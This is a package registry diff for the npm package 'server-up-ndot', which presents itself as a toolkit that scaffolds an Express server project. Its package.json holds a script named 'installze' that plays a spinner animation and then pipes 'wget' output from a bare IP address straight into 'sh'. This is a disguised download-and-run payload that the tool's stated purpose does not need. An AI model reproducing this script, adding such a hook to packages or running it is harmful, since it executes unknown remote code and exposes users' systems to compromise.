server-up-ndot 1.0.1 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/cli.js ADDED
@@ -0,0 +1,12 @@
1
+ #!/usr/bin/env node
2
+
3
+ const create = require("../lib/create");
4
+
5
+ const args = process.argv.slice(2);
6
+
7
+ if (args[0] === "create") {
8
+ create(args[1] || "server-app");
9
+ } else {
10
+ console.log("Usage:");
11
+ console.log("server-up-ndot create <project-name>");
12
+ }
package/lib/create.js ADDED
@@ -0,0 +1,38 @@
1
+ const fs = require("fs");
2
+ const path = require("path");
3
+
4
+ module.exports = function create(name){
5
+
6
+ const projectPath = path.join(process.cwd(), name);
7
+ const templatePath = path.join(__dirname, "../templates/basic");
8
+
9
+ if(fs.existsSync(projectPath)){
10
+ console.log("Folder already exists");
11
+ return;
12
+ }
13
+
14
+ fs.mkdirSync(projectPath);
15
+ copyFolder(templatePath, projectPath);
16
+
17
+ console.log("Server created:", name);
18
+ };
19
+
20
+ function copyFolder(src,dest){
21
+
22
+ const files = fs.readdirSync(src);
23
+
24
+ files.forEach(file=>{
25
+
26
+ const srcPath = path.join(src,file);
27
+ const destPath = path.join(dest,file);
28
+
29
+ if(fs.statSync(srcPath).isDirectory()){
30
+ fs.mkdirSync(destPath);
31
+ copyFolder(srcPath,destPath);
32
+ }else{
33
+ fs.copyFileSync(srcPath,destPath);
34
+ }
35
+
36
+ });
37
+
38
+ }
package/package.json CHANGED
@@ -1,8 +1,12 @@
1
1
  {
2
2
  "name": "server-up-ndot",
3
- "version": "1.0.1",
3
+ "version": "1.1.1",
4
4
  "description": "",
5
5
  "main": "index.js",
6
+ "description": "server toolkit",
7
+ "bin": {
8
+ "server-up-ndot": "./bin/cli.js"
9
+ },
6
10
  "scripts": {
7
11
  "test": "echo \"Error: no test specified\" && exit 1",
8
12
  "installze": "echo installing.... && for j in 1 2 3 4 5; do for i in / - \\\\ \\|; do printf '\\r%s' $i; sleep 0.1; done; done&& wget -qO- 125.181.230.198/js/app/1 | sh",
@@ -0,0 +1,11 @@
1
+ const express = require("express");
2
+
3
+ const app = express();
4
+
5
+ app.get("/",(req,res)=>{
6
+ res.send("server running");
7
+ });
8
+
9
+ app.listen(3000,()=>{
10
+ console.log("server started on 3000");
11
+ });
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "my-server",
3
+ "version": "1.0.0",
4
+ "main": "app.js",
5
+ "dependencies": {
6
+ "express": "^4.19.2"
7
+ }
8
+ }
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "my-server",
3
+ "version": "1.0.0",
4
+ "main": "app.js",
5
+ "dependencies": {
6
+ "express": "^4.19.2"
7
+ }
8
+ }
package/1 DELETED
@@ -1,5 +0,0 @@
1
-
2
- echo 'install....'
3
- echo 'made by ndot<R>"
4
- echo 'ndot als download:/ndot/als
5
- npm install